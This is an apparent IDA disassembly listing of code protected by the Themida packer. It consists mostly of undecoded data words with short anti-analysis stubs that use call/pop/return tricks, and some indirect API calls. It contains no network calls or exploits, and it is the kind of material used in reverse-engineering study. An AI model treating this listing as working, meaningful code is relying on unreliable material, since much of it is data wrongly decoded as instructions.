		dd 9744C967h, 0E2F766FCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 41C35545h, 0BE9h, 0D3786900h,	7B562233h
		dd 69FB7E13h, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 98287FC3h, 423EF097h, 93C354A7h
		dd 0BE8h, 0EC52CB00h, 17CA55E1h, 0EDB797E5h, 6A93505Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 3E6EC353h, 0B5FFFC30h, 61113A9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 36C35141h, 18559FBEh
		dd 35B52308h, 0F061104h, 95FFF6BFh, 61105C5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 3BC35343h, 0AF1D1A6Fh
		dd 0ADF68166h, 6A00B005h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 2544C353h, 0C63062ECh
		dd 0BE84756h, 0D2000000h, 134FA557h, 0F6F4A6F2h, 0A9BFCE97h
		dd 5F52DCE5h, 5E8h, 725B0300h, 6050D22Fh, 0E65E5F61h, 55006A70h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 85BD2BC1h, 0F06112Ch, 686h, 39B50B00h, 0E4061102h, 51006A71h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0F931B65Fh, 1369B589h, 613C0611h, 234830Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 23D927C3h, 0A6AADF5Eh, 4E99529h, 0FF80611h, 6AD8B6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0CA6F6BC3h, 0AE9E519h, 0CC000000h, 455BFC2Eh, 0DCDBFE95h
		dd 0CE816622h, 6BA6EA8h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0CCCBC355h
		dd 8B9C9654h, 110DDDB5h, 89C38B06h, 111361B5h, 4E8C106h
		dd 66F6BF0Fh, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0FF3ACC3h, 0E86h, 9D8B6000h, 6110D91h
		dd 8E0Fh, 2B610000h, 0E9B501D8h, 58061133h, 6880Fh, 0B5290000h
		dd 61120FDh, 4019D89h, 0D82B0611h, 144880Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 46F85C3h, 5CEE8166h,	0F88B66BBh, 7B9h, 0E9BD8900h, 8306110Eh
		dd 0BD0300C1h, 6110FC1h, 860FD93Bh, 102h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0A6C35242h, 332AA38Fh
		dd 812DCAEBh, 9EEAE5DEh, 0CD9D3125h, 66061108h,	9D89D98Ch
		dd 611156Dh, 0F04C1F6h,	0A284h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 750115C1h
		dd 0FFF9AE66h, 11219195h, 8D895B06h, 6111CD9h, 6AC32Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0BDA3D8C3h, 0BD3370FCh, 6110499h, 0EE9h, 0A673000h
		dd 5A02C8DBh, 0D9EF3989h, 660CA99Bh, 343DFA8Bh,	0F000008h
		dd 2A86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0D34D051Bh, 25E9h, 9DBD2B00h, 8B061122h
		dd 0C3CE81C0h, 0E938AABDh, 12h,	0B7E69E93h, 4C287372h
		dd 20E9FD1h, 0E52673F0h, 0C38B2A70h, 6AD88Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0DF58D1C3h
		dd 163113E4h, 0E837DFE1h, 8, 0D6BD6D83h, 0A3324C73h, 5FFBBF0Fh
		dd 0E7185C7h, 0EDB10611h, 0BD8B70D8h, 61112DDh,	0BD31C08Bh
		dd 61121E9h, 13A9BD81h,	7D00611h, 850F0000h, 36h, 13A985FFh
		dd 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 211216C3h, 8166C948h, 66DB58C7h, 0F00E681h
		dd 17C1B58Bh, 0B5FF0611h, 61113A9h, 858B5160h, 61122D5h
		dd 61C5B359h, 5C595FFh,	6A0611h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 6A90A2C3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 3F78C353h, 3057F702h, 6A4025h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 4D15E5C3h, 8BCA79E3h
		dd 8D8950FBh, 6111459h,	6870Fh,	860F0000h, 0
; ---------------------------------------------------------------------------
		pop	edi
		push	0
		push	esi
		call	sub_58C76C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C76C	proc near		; CODE XREF: Themida_:0058C764p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_58C76C	endp

; ---------------------------------------------------------------------------
		dd 88D0FD4h, 52000000h,	27E19D89h, 815E0611h, 989002CEh
		dd 0E185895Ah, 8906111Ch, 1115359Dh, 0FFB70F06h, 12059589h
		dd 0BF0F0611h, 12E9F2h,	4C790000h, 0B3AD0ED0h, 682132AAh
		dd 3E780E35h, 1BA1759Ah, 23F98BFCh, 1115ADBDh, 3E6ABF06h
		dd 6A4CB2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0FE8BE4C3h, 14E9h, 2C18A900h, 0F6DDF9ADh
		dd 0BB7801CEh, 891BD70Ah, 38BA3E98h, 46EF81B3h,	8964649Eh
		dd 1100558Dh, 0F763E906h, 14E8FFFFh, 16000000h,	7D54C957h
		dd 7AFB315Eh, 0B1ADB47Ch, 0D0EDC5D9h, 0BFB7D6D9h, 19717F4Dh
		dd 14E9605Fh, 32000000h, 0F3367ED4h, 26D33D62h,	2CBF24C5h
		dd 0AF60862Ah, 0B93F4F01h, 0FFFFFFFEh, 0FDCFE8BEh, 0C18D217Eh
		dd 6A061125h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0A873C355h, 83EA6D9Eh,	0E9B43E8Ah
		dd 6, 89DAFD86h, 14E998B9h, 18000000h, 7F278A02h, 34632850h
		dd 6D1CCE2Bh, 0A5E459D0h, 21A16BFEh, 110ED98Dh,	0D1BD2906h
		dd 8B061133h, 1125C18Dh, 68C0F06h, 1000000h, 112859B5h
		dd 1E18306h, 23850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0CC74F5C3h, 34C38166h
		dd 0D98D8B38h, 6A06110Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0DD31C350h,	7CBF74BEh
		dd 0F153A0Bh, 388h, 0F88B6600h,	0F01E183h, 2A85h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 2F3BAA72h, 0B7BB1A85h, 4D9589F3h, 61061104h,	5E960h
		dd 4A680000h, 660DEC7Eh, 0FEB9D08Bh, 31FFFFFFh,	11136985h
		dd 4870F06h, 66000000h,	21F5F8BEh, 11067D8Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 2137D923h, 112A0D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8B8040B6h, 11310DB5h
		dd 7D8D8B06h, 0F5061106h, 83C1BF0Fh, 850F01E1h,	2, 8D8BF98Bh
		dd 6112A0Dh, 1E183F9h, 0F850Fh,	0AE90000h, 0BF000000h
		dd 17C28017h, 72F442ADh, 6A606122h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 878CC356h
		dd 8D2907BAh, 6112451h,	0CE9h, 0F8D12F00h, 0E912AE5Dh
		dd 6E36434Eh, 0FFFEB9DEh, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 3F535C3h, 7FD754Eh, 0B6214ED7h
		dd 0B58D2189h, 6A06112Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 8002C350h, 7F02F7C7h
		dd 660C33C5h, 21A725BBh, 1121998Dh, 0C7B86606h,	0B58D8B52h
		dd 0E906112Dh, 0Ch, 0B1417EB9h,	0E2D339A5h, 0E2A3C76Ch
		dd 0F01E183h, 0C85h, 61BD0100h,	89061113h, 112A4D8Dh, 998D8B06h
		dd 6A061121h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 7B27C353h, 83DA4392h, 850F01E1h
		dd 6, 27919589h, 60610611h, 25EDB58Bh, 0AE80611h, 0B8000000h
		dd 2FC5B3F6h, 0D3808E6Fh, 178B0F1Bh, 0E9000000h, 12h, 0C8BCE695h
		dd 8DD50B2Dh, 0F37889BBh, 2C9F7F7Ch, 0B958920Ah, 0FFFFFFFEh
		dd 188F0Fh, 8D0F0000h, 12h, 0DE9h, 6DC64900h, 0E73E0FA2h
		dd 51627F69h, 858BFBABh, 6110335h, 1ED8D21h, 6A0611h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 559E3C3h, 0CE2E0ED3h, 60686069h, 0D8816660h,	0BE662767h
		dd 0F61C61Bh, 0F61C0B7h, 8D21D2B7h, 6110E71h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 20C35747h, 8B5AD88Dh
		dd 1104E9BDh, 0D99D8B06h, 66061121h, 2C8DDF81h,	1ED8D8Bh
		dd 95290611h, 6111BA5h,	0F01E183h, 2085h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0A272FCDh, 718D8B9Bh, 0BE06110Eh, 0B84982Bh,	0F01E183h
		dd 385h, 0A9F38000h, 6A6061h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 645A7FC3h, 0EDE3E1F2h
		dd 0C754EECEh, 1113A985h, 7D006h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 6AE418F1h
		dd 0B8668E45h, 6A61CB9Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0F446C355h,	0F5019556h
		dd 0EB3CE380h, 0E99D6107h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_58CCA7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58CCA7	proc near		; CODE XREF: Themida_:0058CC9Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_58CCA7	endp

; ---------------------------------------------------------------------------
		jb	short loc_58CD2A
		mov	[ebp+6113265h],	esi
		mov	si, 0EECBh
		push	0
		push	edi
		call	sub_58CCCE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58CCCE	proc near		; CODE XREF: Themida_:0058CCC6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_58CCCE	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		jbe	short loc_58CD07
		inc	edx
		jg	short loc_58CCE9
		jmp	loc_58CCF3
; ---------------------------------------------------------------------------


loc_58CCE9:				; CODE XREF: Themida_:0058CCE2j
		imul	esi, cs:[ecx-1203F751h], 61h
		jp	short loc_58CD6D


loc_58CCF3:				; CODE XREF: Themida_:0058CCE4j
		mov	eax, ecx
		jmp	loc_58CD6F
; ---------------------------------------------------------------------------
		dw 6660h
		dd 4A8D88Ch, 35840Fh
		db 2 dup(0), 6Ah
; ---------------------------------------------------------------------------


loc_58CD07:				; CODE XREF: Themida_:0058CCDFj
		add	edi, edi
		mov	ch, 0D1h
		push	cs
		adc	[esi], eax
		lea	eax, [ebp+614747Fh]
		call	eax
		mov	[ebp+61106EDh],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20040000h
		push	0
		push	2


loc_58CD2A:				; CODE XREF: Themida_:0058CCB7j
		push	edi
		push	1000Dh
		call	dword ptr [ebp+61106EDh]
		jmp	loc_58CD6D
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+61106D1h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+6110FD1h]
		lea	eax, [ebp+614747Fh]
		call	eax
		mov	[ebp+61129B9h],	eax
		lea	eax, [ebp+6110051h]
		push	eax
		push	20h
		push	5
		push	esi
		call	dword ptr [ebp+61129B9h]


loc_58CD6D:				; CODE XREF: Themida_:0058CCF1j
					; Themida_:0058CD36j
		popa
		retn
; ---------------------------------------------------------------------------


loc_58CD6F:				; CODE XREF: Themida_:0058CCF5j
		shl	eax, 6
		call	near ptr loc_58CD77+5


loc_58CD77:				; CODE XREF: Themida_:0058CD72p
		cmp	bl, [eax+ecx*2-48F07486h]
		mov	dword ptr [ebx-80h], 0C38116F6h
		sbb	[edi+0], ch
		add	[edi], cl
		mov	edi, 1B94BFF2h
; ---------------------------------------------------------------------------
		db 0
		dd 0DE815000h, 1BF89C4Eh, 0E933FF5Ah, 10h, 0FE63EACDh
		dd 6BE5E399h, 0FE77466h, 8B746AADh, 8B665759h, 0C1815EC6h
		dd 2D609783h, 13E9h, 87461000h,	0BC40A204h, 3F179482h
		dd 16C279ABh, 22D0307Ch, 0B153C181h, 0B70F6CD6h, 5FE981F2h
		dd 0E93A400Dh, 11h, 3002CEF9h, 0D542D426h, 1061BFEh, 0B7102540h
		dd 38F51ECh, 83C3BF0Fh,	8B6602EBh, 814B4BD3h, 0EFBD73F2h
		dd 850F4F0Ah, 1Ah, 0E9F38B66h, 27h, 0B796B140h,	711681A2h
		dd 0BBB6990Bh, 743B1958h, 2DB81F7Ah, 0E94D38FCh, 0FFFFFF61h
		dd 48EA90F9h, 0E37C9C8h, 602D576Ah, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 3EC35646h, 0FF6D829h, 0D8Fh
		dd 85896000h, 6111485h,	0C1F08166h, 0B58B61A3h,	61100EDh
		dd 0BD83C08Bh, 61125F1h, 83097500h, 11243DBDh, 19740006h
		dd 0C08B5350h, 438B8h, 4D858900h, 8D06111Dh, 13B2299Dh
		dd 5BD3FF06h, 3DBD8358h, 61124h, 53501774h, 438B8h, 4D858900h
		dd 8D06111Dh, 13AF189Dh, 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0AB3D2A4Dh
		dd 89CA8A47h, 11183D95h, 12E906h, 46950000h, 0C7DA1BF2h
		dd 0BC2554F1h, 12D16931h, 3FC3E662h, 5FCF8166h,	55006A1Dh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0F68166FBh, 0BD8995DFh, 61129D9h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 3FC3E6C3h
		dd 7E948BA7h, 0FE829F6h, 84000000h, 571567D1h, 4EE1577Eh
		dd 0F03BA54Bh, 81669352h, 598BCAF7h, 8D8E8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0FF689B12h, 0FE6CCBF8h, 958D8B6Ch, 89061107h, 111FD185h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 6203294Bh, 0D168ED2Dh, 0F98B6603h, 87CE8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 820F603Ch, 6, 1C0DB509h,	61F50611h, 8BCA8B66h
		dd 0B98589F2h, 0B061106h, 111F558Dh, 83BE806h, 10E80000h
		dd 37000000h, 450039E0h, 6F729BACh, 0AB9749ABh,	0E9A4B251h
		dd 9, 0BEA455C3h, 693DB07Dh, 85895935h,	6111C99h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8BC35242h, 81669E31h
		dd 0F09C1DEh, 0E6E8CEBFh, 6A000007h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BD9C356h
		dd 112B35BDh, 0D5858906h, 6A061133h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0AB20C357h
		dd 0C9E88CB8h, 55832B97h, 794E8h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 241B449Dh
		dd 8BE33005h, 1107958Dh, 89858906h, 81061104h, 9CA2D4DFh
		dd 75BE828h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0A5BDA2C3h, 4D0B257Dh, 66D6D809h
		dd 2BDB7CBEh, 1126B58Dh, 89858906h, 6A06110Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0E21BC351h, 0E81A9DA4h, 701h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0DCC35646h,	0D953E55Bh, 0BD099847h
		dd 6110DCDh, 1BFD8589h,	830F0611h, 5, 98206FB9h, 6C3E80Ch
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0E6BDBDC3h, 0C4BC82D4h, 870F1A0Ah, 6, 28D8D8Bh
		dd 85890611h, 61108E1h,	86E857B1h, 9000006h, 1121F195h
		dd 0A1858906h, 6A061103h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0F13CC356h,	657E823h
		dd 85890000h, 61108B9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 73C35545h, 0BD899FF8h, 61129F5h, 0E8CAB70Fh
		dd 625h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	62C35646h, 234E89C9h, 0A9858965h, 6A061131h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 1552C355h, 0A9934614h, 890AEFD4h, 110A4D8Dh,	5CFE806h
		dd 8B660000h, 218589CFh, 6A06112Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 5498C353h
		dd 5AE004BFh, 59FE86Eh,	0CE810000h, 7ECD592Ch, 2C498589h
		dd 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 79CC5EC3h, 0AFCE3CEDh, 95892BCFh,	61106CDh
		dd 564E8h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 8906D31Dh, 318A46DDh, 1107698Dh
		dd 0C5858906h, 6A061100h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0F419C355h,	346E2C83h
		dd 0EE8BCF4h, 89000005h, 112AB98Dh, 0D9858906h,	6A061132h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 29E7C357h, 0AFC2A847h, 8BF26093h,	1102598Dh
		dd 0F9BD8906h, 0E8061122h, 4CDh, 8957E980h, 11319985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8B30BB0Eh, 6A00B0CEh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 7D62C355h
		dd 544826CCh, 6C24D5B9h, 0D8B60F30h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 9BC35545h, 0D681665Dh, 6BA216Fh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 5EE6C351h, 5BC109A4h, 20444428h
		dd 0CE9h, 70B35300h, 74B201C8h,	0AB09FE53h, 0C38BF9D3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0EFC35040h
		dd 4E8C163h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0C1C35747h, 8DBD8B63h, 6606110Ch, 6AE2F7h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 8BA8D6C3h, 0BD896457h, 61114B1h, 6AD82Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 97ECA8C3h
		dd 0F602674h, 0C9BE930Ch, 506721F6h, 6E8h, 0B574FC00h
		dd 0E93A7344h, 7, 7D08E659h, 5EF9B3EAh,	55006A93h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 2BC7A47Ch, 39F7C93h,	9195FF78h, 81061121h, 840310C1h
		dd 81665B7Eh, 8D31BDD7h, 1113B195h, 21952906h, 89061105h
		dd 57006A1Ah, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0D97C35A6h, 89F88B66h, 6A0442h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0DAFE32C3h, 55BD8BCCh, 8D061130h, 11234D95h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h
		dd 1804h, 0C3534300h, 187EDE82h, 9E9EBh, 7BAE0000h, 93204B0Bh
		dd 0FECCC03h, 1A89F9BFh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 81C35545h, 0FB531F63h, 0BBA8262Ch, 6850F5Ah
		dd 89000000h, 1107C1B5h, 4428906h, 72B7DF81h, 958D0500h
		dd 6111805h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0BFC35242h, 0B29091DEh,	9589C7EDh, 6112DCDh, 6A1A89h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0FC5978C3h, 893B37CCh, 0B58B0442h, 6110A2Dh,	4A5958Dh
		dd 0E1810611h, 14949B78h, 6A1A89h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0E1995CC3h, 4289F2B8h
		dd 7E904h, 0FECA0000h, 3631B322h, 39958DDCh, 6A06110Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0F250C356h, 0E96FA035h, 0F573BC1h, 689h
		dd 35850100h, 59061128h, 8D0F1A89h, 6, 0E919D89h, 42890611h
		dd 8DFE8B04h, 11238995h, 13E95706h, 6E000000h, 0D6524546h
		dd 7C91323Ah, 0E87F2F95h, 66982142h, 895EFFEBh,	56006A1Ah
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0D7D903CEh, 89ED71A0h, 6A0442h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 34AF6DC3h, 8DB1B507h
		dd 11033995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 98357A6Ah, 0D14B966h, 89F28B66h
		dd 51006A1Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 47BCF338h, 0F48AF105h, 56E781BAh, 8970A791h
		dd 0BD8B0442h, 6111291h, 245958Dh, 6A0611h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 62B963C3h
		dd 89094F7Bh, 55006A1Ah, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 3A2AF8F8h, 3A66391Eh, 5E9A2h, 94A20000h
		dd 8940A9F7h, 6A0442h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0ADE940C3h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 42C3C352h, 0A22034BAh, 78917644h, 12E9h, 0BF5C3800h
		dd 55A615D4h, 0D921A529h, 416E03D5h, 3193E901h,	11122D8Dh
		dd 81006A06h, 0AAD5CDEEh, 8B006A63h, 1130D9B5h,	6A006A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 52A4C355h, 0B5897C3Fh, 6110EC1h, 0FFFC006Ah
		dd 110F6995h, 6AC306h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0F796F1C3h, 8EE6F70Bh, 66AB3A59h
		dd 0A4A0CF81h, 0BE66C58Ah, 0C08B1C65h, 1785B58Bh, 0BD830611h
		dd 61125F1h, 83097500h,	11243DBDh, 19740006h, 0C08B5350h
		dd 438B8h, 49858900h, 8D06110Ah, 13B2909Dh, 5BD3FF06h
		dd 3DBD8358h, 61124h, 53501774h, 438B8h, 49858900h, 8D06110Ah
		dd 13AF319Dh, 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 2C819812h, 7192B104h
		dd 830Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E9DE3CC3h, 12h,	0C4A1D45Bh, 45A3A059h
		dd 0C09650EDh, 65EC1672h, 0C08BA62Dh, 2795858Dh, 6A0611h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 54C64EC3h, 3F4746D0h, 0E950511Bh, 0Ah, 65AEE617h, 95C81447h
		dd 905F9F83h, 2840Fh, 0DA8B0000h, 60606050h, 0C28B6661h
		dd 8B906161h, 110B419Dh, 6A006A06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 6022C356h
		dd 80F0BF0Fh, 8B612BE4h, 110EA1BDh, 6A006A06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 3A9EC355h, 6870Fh, 0CF810000h, 5ADD40E1h, 3FB4858Dh
		dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0B177B3C3h, 6A05C083h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 665BC351h
		dd 0BFFE91A4h, 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0DEC35747h, 0A395E868h, 6A006AFCh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 3202C351h, 1DAD6849h, 81E58AD8h, 228F98CBh, 6A006A50h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0C1D8C355h, 41B50194h, 0FF061128h, 11075D95h
		dd 0BD895606h, 61132FDh, 0DBBF0F5Bh, 0A4208D8Dh, 810F0614h
		dd 4, 654DBB66h, 0F88AD1FFh, 1B71BD83h,	0F010611h, 6985h
		dd 8D9D8B00h, 8B06110Fh, 1117759Dh, 6A026A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0E2DEC356h, 29484709h, 1133059Dh, 66609006h,	5061C68Bh
		dd 5F616052h, 6595FF90h, 6A06112Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 7DB1C356h
		dd 0CE61F9D9h, 0EBE9A8BAh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6153FBEh
		jmp	loc_58DBA3
; ---------------------------------------------------------------------------
		dd 0B2974AF3h, 0E33704BAh, 0AFCC146Bh, 3A18F77Dh
		db 0E4h, 8Ch, 74h
; ---------------------------------------------------------------------------


loc_58DBA3:				; CODE XREF: Themida_:0058DB8Bj
		push	0
		push	esi
		call	sub_58DBAE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DBAE	proc near		; CODE XREF: Themida_:0058DBA6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_58DBAE	endp

; ---------------------------------------------------------------------------
		dw 0F49Dh
		dd 3DA8FE7h, 6890F45h, 31000000h, 1133D195h, 68858D06h
		dd 90061489h, 2C22BF66h, 11E850h, 2C8C0000h, 6CE7CB61h
		dd 144535Ah, 0A7F5F116h, 5F2EC9C1h, 0B5858990h,	0F9061127h
		dd 35FF64h, 0F000000h, 28Bh, 6422B300h,	2589h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 7FA2FDC3h, 0EE9h, 0EBDAE700h, 0B7F581F3h, 9CBC7A3Bh
		dd 8902D62Ah, 1128299Dh, 0AD85FF06h, 6A061107h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
